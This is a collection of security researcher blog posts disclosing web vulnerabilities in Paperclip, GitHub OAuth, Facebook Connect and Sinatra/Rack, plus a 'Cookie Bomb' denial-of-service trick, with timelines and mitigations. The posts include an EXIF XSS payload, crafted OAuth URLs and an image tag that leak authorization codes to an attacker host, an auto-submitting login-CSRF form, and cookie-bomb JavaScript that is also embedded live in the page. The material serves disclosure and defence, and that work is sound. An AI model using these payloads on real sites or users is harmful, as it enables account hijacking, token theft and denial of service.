<a href="http://2.bp.blogspot.com/-JGPgx1Ykggo/UtTROkW2Q2I/AAAAAAAADhc/UcfT7oKGNfE/s1600/Screen+Shot+2013-12-11+at+5.00.08+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" src="http://2.bp.blogspot.com/-JGPgx1Ykggo/UtTROkW2Q2I/AAAAAAAADhc/UcfT7oKGNfE/s1600/Screen+Shot+2013-12-11+at+5.00.08+PM.png" height="80" width="640" /></a><br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-WAIfHKFP668/UtTRVwtwbBI/AAAAAAAADhg/AihG1aqMZT8/s1600/Screen+Shot+2013-12-11+at+5.00.47+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-WAIfHKFP668/UtTRVwtwbBI/AAAAAAAADhg/AihG1aqMZT8/s1600/Screen+Shot+2013-12-11+at+5.00.47+PM.png" height="35" width="640" /></a></div>
<br />
If you send a URL instead of a file, Paperclip automatically switches to another (vulnerable) URI adapter, which downloads and saves it like /PaperclipPath/01/02/03/file.jpg.htm<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-3LsZTXEJ7U4/UtTQ7tU1E8I/AAAAAAAADhI/qehK0egtCXE/s1600/Screen+Shot+2013-12-11+at+5.01.01+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-3LsZTXEJ7U4/UtTQ7tU1E8I/AAAAAAAADhI/qehK0egtCXE/s1600/Screen+Shot+2013-12-11+at+5.01.01+PM.png" height="133" width="320" /></a></div>
<br />
<br />
Finally, when Apache/nginx/%webserver% is serving the static file.jpg.htm it responds with according text/html Content-Type and JPG's internals.<br />
<br />
We can hide our XSS (or PHP <?=code();?>) payload in the EXIF header.<br />
<br />
ÛßÙ4Ù¬ıPıfiˆmˆ˚˜ä¯ ¯®˘8˘«˙W˙Á˚w¸ ¸ò˝)˝∫˛K˛‹ˇmˇˇˇ· ‚ExifII* <br />
Ü å ¢ ™( 1 ≤2 «£ €iá ¯CanonCanon DIGITAL IXUS 70¥ ¥ f-spot version 0.3.52008:09:08 11:29:26<b><img src=x onerror=alert(0)> </b>öÇ Z ùÇ b 'à Pê 0220 <br />
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-rC0aUqOmj90/UtTSM1ArXyI/AAAAAAAADho/56n4FbEUWis/s1600/Screen+Shot+2013-12-11+at+6.15.53+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /><img border="0" src="http://2.bp.blogspot.com/-rC0aUqOmj90/UtTSM1ArXyI/AAAAAAAADho/56n4FbEUWis/s1600/Screen+Shot+2013-12-11+at+6.15.53+PM.png" height="313" width="320" /></a></div>
<br />
<br /></div>
To get a RCE (code execution) you would need file.<i>php/.pl</i>/<i>.cgi</i> to be executed by the web server, IMO it is a rare case for regular Rails apps, I didn't research it though.<br />
<br />
<b>Timeline</b><br />
Reported to thoughtbot: 11 Dec 2013<br />
Thoughtbot <a href="https://github.com/thoughtbot/paperclip/commit/312126a0a6825dcd24d736e68c08c95d74ed9458">releases new major Paperclip 4 version</a>: 2 Feb 2014<br />
<br />
You definitely should bundle-update and check:<br />
1) You have properly whitelisted content-type<br />
2) Your Paperclip version > 4.0 now<br />
3) Look for suspicious .html/.%smth% in your paperclip uploads folder.homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com3tag:blogger.com,1999:blog-8508344381521415235.post-67399884064507293242014-02-07T08:09:00.002-08:002014-04-29T22:20:50.760-07:00How I hacked Github again.This is a story about 5 Low-Severity bugs I pulled together to create a simple but high severity exploit, giving me access to private repositories on Github.<br />
<br />
These vulnerabilities were reported privately and fixed in timely fashion. Here is the "timeline" of my emails.<br />
<br />
<a href="http://www.reddit.com/r/netsec/comments/1xa5xh/how_i_hacked_github_again/cf9qjcl">More detailed/alternative explanation</a>.<br />
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-s7CGeISQaL4/UvIwkq3c-oI/AAAAAAAADjo/t4jteR-KnlU/s1600/Screen+Shot+2014-02-05+at+6.50.54+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-s7CGeISQaL4/UvIwkq3c-oI/AAAAAAAADjo/t4jteR-KnlU/s1600/Screen+Shot+2014-02-05+at+6.50.54+PM.png" height="106" width="400" /></a></div>
<br />
A few days ago Github launched a <a href="https://bounty.github.com/">Bounty program</a> which was a good motivator for me to play with <a href="https://developer.github.com/v3/oauth/">Github OAuth</a>.<br />
<h4>
Bug 1. Bypass of redirect_uri validation with /../ </h4>
<div>
First thing I noticed was:<br />
<blockquote class="tr_bq">
<span style="background-color: white; color: #393939; font-family: helvetica, arial, freesans, clean, sans-serif; font-size: 14.399999618530273px; line-height: 21px;">If provided, the redirect URL’s host and port must exactly match the callback URL. The redirect URL’s path <b>must reference a subdirectory of the callback URL</b></span></blockquote>
I then tried path traversal with /../ — it worked. </div>
<h4>
Bug 2. Lack of redirect_uri validation on get-token endpoint</h4>
The first bug alone isn't worth much. There's protection in OAuth2 from "leaky" redirect_uri's, every 'code' has corresponding 'redirect_uri' it was issued for. To get an access token you must supply exact redirect_uri you used in the authorization flow.<br />
<blockquote class="tr_bq">
<table style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #393939; display: block; font-family: helvetica, arial, freesans, clean, sans-serif; font-size: 14.399999618530273px; line-height: 21px; margin: 15px 0px; overflow: auto; padding: 0px; width: 630px;"><tbody style="font-size: 14.399999618530273px; margin: 0px; padding: 0px;">
<tr style="border-top-color: rgb(204, 204, 204); border-top-style: solid; border-width: 1px 0px 0px; font-size: 14.399999618530273px; margin: 0px; padding: 0px;"><td style="border: 1px solid rgb(221, 221, 221); font-size: 14.399999618530273px; margin: 0px; padding: 6px 13px; vertical-align: top;"><code style="border: 0px; font-size: 14.399999618530273px; margin: 0px; padding: 0px; white-space: nowrap;">redirect_uri</code></td><td style="border: 1px solid rgb(221, 221, 221); font-size: 14.399999618530273px; margin: 0px; padding: 6px 13px; vertical-align: top;"><code style="border: 0px; font-size: 14.399999618530273px; margin: 0px; padding: 0px; white-space: nowrap;">string</code></td><td style="border: 1px solid rgb(221, 221, 221); font-size: 14.399999618530273px; margin: 0px; padding: 6px 13px; vertical-align: top;">The URL in your app where users will be sent after authorization. See details below about <a href="https://developer.github.com/v3/oauth/#redirect-urls" style="border: 0px; color: #4183c4; font-size: 14.399999618530273px; margin: 0px; padding: 0px; text-decoration: none;">redirect urls</a>.</td></tr>
</tbody></table>
</blockquote>
Too bad. I decided to find out whether the protection was implemented properly.<br />
<br />
It was flawed: no matter what redirect_uri the Client sent to get a token, the Provider responded with valid access_token.<br />
Without the first bug, the second would be worth nothing as well. But together they turn into a powerful vulnerability — the attacker could hijack the authorization code issued for a "leaky" redirect_uri, then apply the leaked code on real Client's callback to log in Victim's account. Btw it was the same bug I found in VK.com.<br />
<br />
It's a serious issue and <b>can be used to compromise "Login with Github"</b> functionality on all websites relying on it. I opened <a href="https://github.com/settings/applications">Applications page</a> to see what websites I should check. This section got my attention:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-gE_08afwQ9Q/UvT8D4aAUFI/AAAAAAAADj4/FqP0p3S3R8I/s1600/Screen+Shot+2014-02-05+at+5.56.08+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-gE_08afwQ9Q/UvT8D4aAUFI/AAAAAAAADj4/FqP0p3S3R8I/s1600/Screen+Shot+2014-02-05+at+5.56.08+PM.png" height="70" width="400" /></a></div>
<br />
<br />
Gist, Education, Pages and Speakerdeck are official pre-approved OAuth clients. I couldn't find client_id of Pages/Education, Speakerdeck was out of Bounty scope (I found account hijacking there and was offered $100). Let's find a Referer-leaking page on Gist then.<br />
<br />
<h4>
Bug 3. Injecting cross domain image in a gist.</h4>
<div>
Basically, there are two vectors for leaking Referers: user clicks a link (requires interaction) or user agent loads some cross domain resource, like <img>.<br />
I can't simply inject <img src=http://attackersite.com> because it's going to be replaced by <a href="https://github.com/atmos/camo">Camo-proxy</a> URL, which doesn't pass Referer header to attacker's host. To bypass Camo-s filter I used following trick: <b><img src="///attackersite.com"></b><br />
You can find more details about this vector in <a href="http://homakov.blogspot.com/2014/01/evolution-of-open-redirect-vulnerability.html">Evolution of Open Redirect Vulnerability</a>.<br />
///host.com is parsed as a path-relative URL by Ruby's URI library but it's treated as a protocol-relative URL by Chrome and Firefox. Here's our crafted URL:<br />
<br />
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%<b>2Fcallback/../../../homakov/8820324</b>&response_type=code<br />
<br />
When the user loads this URL, Github 302-redirects him automatically.<br />
<br />
Location: https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE<br />
<br />
But the user agent loads https://gist.github.com/homakov/8820324?code=CODE<br />
<br />
Then user agent leaks CODE sending request to our <img>:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-CnQQ9kjPoVs/UvT_O0m5uqI/AAAAAAAADkE/_Rl_EYv4ACQ/s1600/Screen+Shot+2014-02-05+at+5.15.39+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-CnQQ9kjPoVs/UvT_O0m5uqI/AAAAAAAADkE/_Rl_EYv4ACQ/s1600/Screen+Shot+2014-02-05+at+5.15.39+PM.png" height="64" width="640" /></a></div>
As soon as we get victim's CODE we can hit https://gist.github.com/auth/github/callback?code=CODE and voila, we are logged into the victim's account and we have access to private gists.<br />
<br /></div>
<h4>
Bug 4. Gist reveals github_token in cookies</h4>
I was wondering how Gist persists the user session and decoded _gist_session cookie (which is regular Rails Base64 encoded cookie):<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-fstbnCZEdbI/UvT_6S4K4JI/AAAAAAAADkM/F8MKjIOFU5k/s1600/Screen+Shot+2014-02-05+at+5.59.16+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-fstbnCZEdbI/UvT_6S4K4JI/AAAAAAAADkM/F8MKjIOFU5k/s1600/Screen+Shot+2014-02-05+at+5.59.16+PM.png" height="50" width="400" /></a></div>
Oh my, another OAuth anti-pattern! Clients should never reveal actual access_token to the user agent. Now we can use this github_token to perform API calls on behalf of the victim's account, without the Gist website. I tried to access private repos:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-Rs3U2vkjT1I/UvUAS8OrTdI/AAAAAAAADkU/ePe042QKiw4/s1600/Screen+Shot+2014-02-05+at+6.00.45+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-Rs3U2vkjT1I/UvUAS8OrTdI/AAAAAAAADkU/ePe042QKiw4/s1600/Screen+Shot+2014-02-05+at+6.00.45+PM.png" height="43" width="320" /></a></div>
Damn it, the token's scope is just "gists", apparently...<br />
<br />
<h4>
Bug 5. Auto approval of 'scope' for Gist client.</h4>
Final touch of my exploit. Since Gist is a pre-approved Client, I assumed Github approves any scope the Gist Client asks for automatically. And I was right. <br />
<br />
All we need now is to load the crafted URL into the victim's browser:<br />
<br />
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%<b>2Fcallback/../../../homakov/8820324</b>&response_type=code&<b>scope=repo,gists,user,delete_repo,notifications</b><br />
<div>
<br /></div>
<div>
The user-agent leaks the victim's CODE, Attacker uses leaked CODE to log into the victim's Gist account, decodes _gist_session to steal github_token and ...<br />
NoScript is not going to help. The exploit is script-less.<br />
<b>Private repos, read/write access, etc</b> — all of it in stealth-mode, because the github_token belongs to Gist client. Perfect crime, isn't it?</div>
<h4>
Bounty</h4>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-xqPTMgxhYmY/UvUCrsc9C8I/AAAAAAAADkg/Fe6N4AFxMWE/s1600/Screen+Shot+2014-02-07+at+10.58.16+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-xqPTMgxhYmY/UvUCrsc9C8I/AAAAAAAADkg/Fe6N4AFxMWE/s1600/Screen+Shot+2014-02-07+at+10.58.16+PM.png" height="212" width="400" /></a></div>
<div>
<br /></div>
<div>
$4000 reward is pretty good. Interestingly, it would be even cheaper for them to buy 4-5 hours of my consulting services at $400/hr which would have cost them $1600 instead. Crowdsourced-security is also an important thing to have. It's better to use them both :)<br />
<br />
<a href="http://www.sakurity.com/">I'd love to help your company & save you a lot of money.</a><br />
<br />
P.S. I have two other posts about Github vulnerabilities: <a href="http://homakov.blogspot.com/2012/03/how-to.html">mass assignment</a> and <a href="http://homakov.blogspot.com/2013/03/hacking-github-with-webkit.html">cookie tossing</a>.</div>
homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com49tag:blogger.com,1999:blog-8508344381521415235.post-8845350307369596212014-01-28T20:56:00.001-08:002014-01-28T21:29:27.490-08:00Turbo API: How to use CORS without Preflights<div style="font-family: sans-serif;">
From official doc on <a href="http://www.w3.org/TR/cors/">Cross Origin Resource Sharing</a></div>
<blockquote class="tr_bq">
A <var title="">header</var> is said to be a <dfn id="simple-header" style="font-style: normal; font-weight: bold;">simple header</dfn> if the header field name is an <a href="http://www.w3.org/TR/cors/#ascii-case-insensitive" style="color: #660099;">ASCII case-insensitive</a> match for <code style="color: orangered;">Accept</code>, <code style="color: orangered;">Accept-Language</code>, or <code style="color: orangered;">Content-Language</code> or if it is an <a href="http://www.w3.org/TR/cors/#ascii-case-insensitive" style="color: #660099;">ASCII case-insensitive</a> match for <code style="color: orangered;">Content-Type</code> and the header field value media type (excluding parameters) is an <a href="http://www.w3.org/TR/cors/#ascii-case-insensitive" style="color: #660099;">ASCII case-insensitive</a> match for <code style="color: orangered;">application/x-www-form-urlencoded</code>, <code style="color: orangered;">multipart/form-data</code>, or <code style="color: orangered;">text/plain</code>.</blockquote>
<div>
<div style="font-family: sans-serif;">
CORS is really strict about headers. As you can see only Accept/Accept-Language/Content-Language can be replaced with arbitrary field values.</div>
<div style="font-family: sans-serif;">
<br /></div>
<div style="font-family: sans-serif;">
This behavior is only intended to "secure" <b>poorly designed</b> apps, e.g. <a href="http://weblog.rubyonrails.org/2011/2/8/csrf-protection-bypass-in-ruby-on-rails/">those ones who rely on X-Requested-With as a CSRF protection</a>. </div>
<div style="font-family: sans-serif;">
<br /></div>
<div style="font-family: sans-serif;">
Your app is not poorly designed, right? And you have some API, requiring additional headers, such as Authorization or X-Token.</div>
<div style="font-family: sans-serif;">
<br /></div>
<div style="font-family: sans-serif;">
Every browser is doomed to hit your app with preflights "asking" to use X-Token header in the next, actual request, or to use "special method" like PUT or DELETE. Your API is supposed to respond:</div>
<div style="font-family: sans-serif;">
<br /></div>
<pre style="color: #222222; margin-left: 2em;"><code style="color: inherit;">Access-Control-Allow-Origin: http://hello-world.example
Access-Control-Max-Age: 3628800
Access-Control-Allow-Methods: PUT, DELETE</code></pre>
</div>
<div>
<br /></div>
<div>
This sucks! Even when you use Max-age to cache headers, it is stored for 5 minutes and only for this exact request, then browser is have to perform useless preflight request again. </div>
<div>
<br /></div>
<div>
My idea is to bypass this annoying behavior by putting all extra headers you need (and HTTP method) in the Accept (or Accept-Language/Content-Language) header:</div>
<div>
<div>
<br /></div>
<div>
x=new XMLHttpRequest;</div>
<div>
x.open('post','http://www.google.com');</div>
<div>
x.setRequestHeader('Accept', '<b>Accept:actual-accept-value; Content-Type:application/json; X-Token:123123; HTTP-Method:Put</b>');</div>
<div>
x.send('{"json":123}')</div>
</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-YBUQ2Ac4xpk/UuiJPuyeNrI/AAAAAAAADjU/ZaK4aLB6FXc/s1600/Screen+Shot+2014-01-29+at+11.52.55+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-YBUQ2Ac4xpk/UuiJPuyeNrI/AAAAAAAADjU/ZaK4aLB6FXc/s1600/Screen+Shot+2014-01-29+at+11.52.55+AM.png" height="98" width="640" /></a></div>
<br /></div>
<div>
Now you only need few lines of code on server side in the beginning of your app:</div>
<div>
<br /></div>
<div>
request.headers["Accept"].split(';').each{|header|<br />
new_header = header.split(':')<br />
request.headers[new_header[0].strip] = new_header[1].strip<br />
}</div>
<div>
<br />
You can routinely monkey-patch setRequestHeader and add few lines of code on the server side. Try to do it and get brand new turbo API!<br />
<br />
<a href="https://twitter.com/homakov/status/428370724672110592">I proposed to allow CORS-* headers by default</a>. CORS-* headers are not going to be useful to hack currently existing apps, but will remove futile preflight requests. </div>
<div>
<br />
To be honest, I would get rid of all CORS headers but one: to perform state-changing requests you need to know csrf_token anyway, to read the response you need suitable <span style="color: inherit;">Access-Control-Allow-Origin. The rest of headers is just legacy bullshit to "save" already broken apps. </span>There's no point to "allow" headers, nor withCredentials.<br />
<br />
I really hope pre-approved headers will be added, because currently CORS sends twice more requests than needed, which makes it slower than alternative cross domain transports & overloads API with pointless payloads.</div>
<div>
<br /></div>
homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com4tag:blogger.com,1999:blog-8508344381521415235.post-69096073722878313332014-01-26T22:27:00.001-08:002014-12-07T01:22:56.495-08:00Two "WontFix" vulnerabilities in Facebook Connect<b>TL;DR </b>Every website with "Connect Facebook account and log in with it" is vulnerable to account hijacking. Every website relying on signed_request (for example official JS SDK) is vulnerable to account takeover, as soon as an attacker finds a 302 redirect to other domain.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-oRBHCPBxZco/UuX6K1Ea8iI/AAAAAAAADi0/0TYTz1WBwXE/s1600/facebook-connect-logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-oRBHCPBxZco/UuX6K1Ea8iI/AAAAAAAADi0/0TYTz1WBwXE/s1600/facebook-connect-logo.jpg" height="97" width="400" /></a></div>
<br />
<br />
I don't think these will be fixed, as I've heard from the Facebook team that it will break compatibility. I really wish they would fix it though as you can see below, I feel these are serious issues.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-7lO6DnbQPV8/Uuau2lLcZjI/AAAAAAAADjE/hDP9ioOfHxg/s1600/Screen+Shot+2014-01-27+at+12.49.59+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-7lO6DnbQPV8/Uuau2lLcZjI/AAAAAAAADjE/hDP9ioOfHxg/s1600/Screen+Shot+2014-01-27+at+12.49.59+PM.png" height="120" width="640" /></a></div>
<br />
<br />
I understand the business reasons why they might choose so, but from my perspective when you have to choose between security and compatibility, the former is the right bet. Let me quickly describe what these bugs are and how you can protect your websites.<br />
<br />
<span style="font-size: large;">CSRF on facebook.com login to hijack your identity.</span><br />
It's higher level <a href="http://homakov.blogspot.com/2012/07/saferweb-most-common-oauth2.html">Most-Common-OAuth-Vulnerability</a> (we attached Attacker's Social Account to Victim's Client Account) but here even Clients using "state" to prevent CSRF are vulnerable.<br />
<br />
<span style="background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px;"><iframe name="playground" src='data:text/html,<form id="genform" action="</span>https://www.facebook.<wbr></wbr>com/login.php<span style="background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px;">" method="POST"><input type="hidden" name="email" value="</span>homakov@gmail.com<span style="background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px;">"><</span><wbr style="background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px;"></wbr><span style="background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px;">input type="hidden" name="pass" value="password"></form><script>genform.</span><wbr style="background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px;"></wbr><span style="background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px;">submit()</script>'></iframe></span><br />
<br />
FYI we need <a href="http://homakov.blogspot.com/2012/04/playing-with-referer-origin-disquscom.html">data: trick</a> to get rid of Referer header, Facebook rejects requests with cross domain Referers.<br />
<br />
This form logs victim in attacker's arbitrary account (even if user is already logged in, logout procedure is trivial). Now to all OAuth flows Facebook will respond <b>with Attacker's profile information</b> and Attacker's uid.<br />
<br />
Every website with "Connect your Facebook to main account to login faster" functionality is vulnerable to account hijacking as long as attacker can replace your identity on Facebook with his identity and <b>connect their Facebook account to victim's account on the website </b>just loading CLIENT/fb/connect URL.<br />
<br />
Once again: even if we cannot inject our callback with our code because of state-protection, we can re-login user to make Facebook do all the work for us!<br />
<br />
Almost all server-side libraries and implementations are "vulnerable" (<b>they are not</b>, it's Facebook who's vulnerable!) : omniauth, django-social-auth, etc. And yeah, official facebook-php-sdk.<br />
<br />
(By the way, I found 2 bugs in omniauth-facebook: <a href="https://github.com/mkdynamic/omniauth-facebook/wiki/CSRF-vulnerability:-CVE-2013-4562">state fixation</a>, <a href="https://github.com/mkdynamic/omniauth-facebook/wiki/Access-token-vulnerability:-CVE-2013-4593">authentication bypass</a>. Update if you haven't yet.)<br />
<br />
<b>Mitigation</b>: require CSRF token for adding a social connection. E.g. instead of /connect/facebook use <b>/connect/facebook?authenticity_token=123qwe</b>. It will make it impossible for an attacker to start the process by himself.<br />
<br />
<span style="font-size: large;">Facebook JS SDK and #signed_request</span><br />
Since "redirect_uri" is flexible on Connect since its creation, Facebook engineers made it a required parameter to obtain "access_token" for issued "code". If the code was issued for a different (spoofed) redirect_uri, provider will respond with mismatch-error.<br />
<br />
signed_request is special non-standard transport created by Facebook. It carries "code" as well, but this code is issued for <b>an empty redirect_uri = ""</b>. Furthermore, signed_request is sent in a #fragment, so <b>it can be leaked easily</b> with any 302 redirect to attacker's domain.<br />
<br />
And guess what — the redirect can even be on a subdomain. of our target! Attack surface gets so huge, no doubt you can find a redirecting endpoint on any big website.<br />
<br />
Basically, signed_request is exactly what "code" flow is, but with Leak-protection <b>turned off</b>.<br />
<br />
All you need is to steal victim's signed_request with a redirect to your domain (slice it from location.hash), then open the Client website, put it in the fbsr_CLIENT_ID cookie and hit client's authentication endpoint.<br />
<br />
Finally, you're logged in as the owner of that signed_request. It's just like when you steal username+password.<br />
<br />
<b>Mitigation</b>: it's hard to get rid from all the redirects. For example Facebook clients like soundcloud, songkick, foursquare are at the same time OAuth providers too, so they have to be able to redirect to 3rd party websites. Each redirect to their "sub" clients is also a threat to leak Facebook's token. Well, you can try to <a href="http://homakov.blogspot.com/2013/03/redirecturi-is-achilles-heel-of-oauth.html">add #_=_ to "kill" fragment part</a>..<br />
<br />
It's better to stop using signed_request (get rid of JS SDK) and start using (slightly more) secure code-flow with protections I mentioned above.<br />
<br />
<span style="font-size: large;">Conclusion</span><br />
In my opinion I'd recommend not using Facebook Connect in critical applications (nor with any other OAuth provider). Perhaps it's suitable quick login for a funny social game but never for a website with important data. Use oldschool passwords instead.<br />
<br />
If you must use Facebook Connect, I recommend whitelisting your redirect_uri in app's settings and requiring user interaction (clicking some button) to start adding a new connection. I really hope Facebook will change their mind, to stay trustworthy identity provider.<br />
<br />
<b>As of Dec 7 2014 Facebook fixed first bug but there's a way to bypass it. I am not going to publish it because I don't want @isciurus to patch it again :)</b>homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com11tag:blogger.com,1999:blog-8508344381521415235.post-25002725568477463462014-01-19T08:22:00.001-08:002014-01-19T08:23:13.733-08:00Header injection in Sinatra/RackTry to run this simple app:<br />
<br />
<blockquote class="tr_bq">
require 'sinatra'<br />
get '/' do<br />
redirect params[:to] if params[:to].start_with? 'http://host.com/'<br />
end</blockquote>
<br />
Let's load /?to=http://host.com/?%0dX-Header:1 and see a new "injected" X-Header in Chrome (not in FF) because %0d aka \r is considered by Chrome as a valid headers' delimiter (don't really agree with this feature). OK, bad news are: Rack is the root of the problem. It uses \n internally as a delimiter for "arrays of cookies" so it blocks \n-based injections, but \r-based are working fine.<br />
<br />
This means all web ruby software relying on Rack headers validation is vulnerable to header injection. Technically even Rails, they have "monkey patch" removing \0\r\n from "Location" header, but the rest of headers stay untouched.<br />
<br />
<b>Timeline</b><br />
Reported to rkh from sinatra on 5 Jan. Under investigation, proposed fix was <a href="https://gist.github.com/rkh/befd7d127f4052d292d5">Rack Protection module.</a><br />
Reported to Rails (not filtering non-Location headers), WontFix.<br />
<br />
<b>Let's talk about header injection</b><br />
Now it is not useful, IMO. Yes you can create some new headers and such, but what can you do with it finally? Set-Cookie to mess with session_id/csrf_token is only option, am I right?<br />
<br />
Overall it is a low-severity issue which can only insert new cookies. When browser sees non-empty Location it ignores all other headers but Set-Cookie. All you can do is <a href="http://homakov.blogspot.com/2014/01/cookie-bomb-or-lets-break-internet.html">BOMBIN'</a>homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com5tag:blogger.com,1999:blog-8508344381521415235.post-64404397123493491272014-01-18T08:26:00.000-08:002014-01-18T09:40:18.764-08:00Cookie Bomb or let's break the Internet.<script>
function bomb(){
var base_domain = document.domain.substr(document.domain.indexOf('.'));
var pollution = Array(4000).join('a');
if(confirm('Should I Cookie Bomb '+base_domain+'?')){
for(var i=1;i<99;i++){
document.cookie='bomb'+i+'='+pollution+';Domain='+base_domain;
}
}
}
</script>
<br />
<h2>
<span style="font-size: small;">TL;DR</span><span style="font-size: small; font-weight: normal;"> I can craft a page "polluting" CDNs, blogging platforms and other major networks with my cookies. Your browser will keep sending those cookies and servers will reject the requests, because Cookie header will be very long. The entire Internet will look down to you.</span><span style="font-size: small; font-weight: normal;"> </span></h2>
<div>
I have no idea if it's a known trick, but I believe it should be fixed. Severity: depends. I checked only with Chrome.<br />
<br />
We all know a cookie can only contain 4k of data.</div>
<div>
How many cookies can I creates? <b>Many</b>!</div>
<div>
What cookies is browser going to send with every request? <b>All of them</b>!</div>
<div>
How do servers usually react if the request is too long? <b>They don't respond, like this</b>:<br />
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-c2U9Kz9dgko/Utqfq8Qt3jI/AAAAAAAADiE/oRQHHuFWeX4/s1600/Screen+Shot+2014-01-18+at+10.29.36+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-c2U9Kz9dgko/Utqfq8Qt3jI/AAAAAAAADiE/oRQHHuFWeX4/s1600/Screen+Shot+2014-01-18+at+10.29.36+PM.png" height="154" width="640" /></a></div>
<br />
If you're able to execute your own JS on SUB1.example.com it can cookie-bomb not only your SUB1 but the entire *.example.com network, including example.com.<br />
<blockquote class="tr_bq">
var base_domain = document.domain.substr(document.domain.indexOf('.'));<br />
var pollution = Array(4000).join('a');<br />
if(confirm('Should I Cookie Bomb '+base_domain+'?')){<br />
for(var i=1;i<99;i++){<br />
document.cookie='bomb'+i+'='+pollution+';Domain='+base_domain;<br />
}<br />
}</blockquote>
Just set lots of 4k long cookies with Domain=.example.com so they will be sent with <b>every request</b> to *.example.com.<br />
All requests will be ignored, because servers never process such long requests (the "Cookie" header will be like half a megabyte).<br />
<br />
Victim is sad and crying. No more blogspot. No more github.io. Such sad user. Not wow.<br />
<br />
It will last until the user realizes he needs to delete his cookies. Not all human beings are that smart though.<br />
<br />
Who can be cookie-bombed?<br />
<ol>
<li>Blogging/hosting/website/homepage platforms: Wordpress, Blogspot, Tumblr, Heroku, etc. Anything having <username>.example.com with your JS. <br />You don't need government to ban blog platforms anymore - use cookie bomb. (<b>Joke</b>)</li>
<li>Subdomains serving your HTMLs, even if they're created for user input you can cookie-bomb entire network and "poison" other subdomains with it: Dropbox, Github.io</li>
<li>Content Delivery Networks. Ouch! You can poison *.CDN_HOST.com and break scripts/CSS on all websites using this CDN.</li>
<li>System sandbox domains like GoogleUserContent.com. When I poison it - Google Translate, GMail attachments, Blogspot images - entire Google ecosystem goes crazy.</li>
<li>Use it along with other attacks (XSS, Header injection, HTTP:// cookie forcing)</li>
</ol>
<h3>
Proofs of Concept</h3>
<div>
<a href="http://translate.google.com/translate?hl=en&sl=en&tl=ru&u=homakov.github.io%2Fcookiebomb.html&sandbox=1">Google user content</a></div>
<br />
<div>
<a href="http://homakov.github.io/cookiebomb.html">Github.io</a></div>
<div>
</div>
<br />
<div>
<a href="javascript:void(0)" onclick="bomb()">Blogspot.com</a></div>
<div>
<br />
<b>Tip for hackers: </b>you can "block" some exact path by specifying ;path=/some_path in the cookie bombs attributes. Your personal censorship!</div>
</div>
<b>Tip for browsers</b>: limit amount of cookies on .example.com or send only sane number of them, but i'm not sure it's a pragmatic way.<br />
<b>Tip for admins</b>: instead of sub1.example.com use sandbox.sub1.example.com, which will limit impact of the cookie bomb to .sub1.example.com zone.<br />
<b>Tip for users</b>: if you was cookie-bombed remove "bombs" here:<br />
<div class="separator" style="clear: both; text-align: center;">
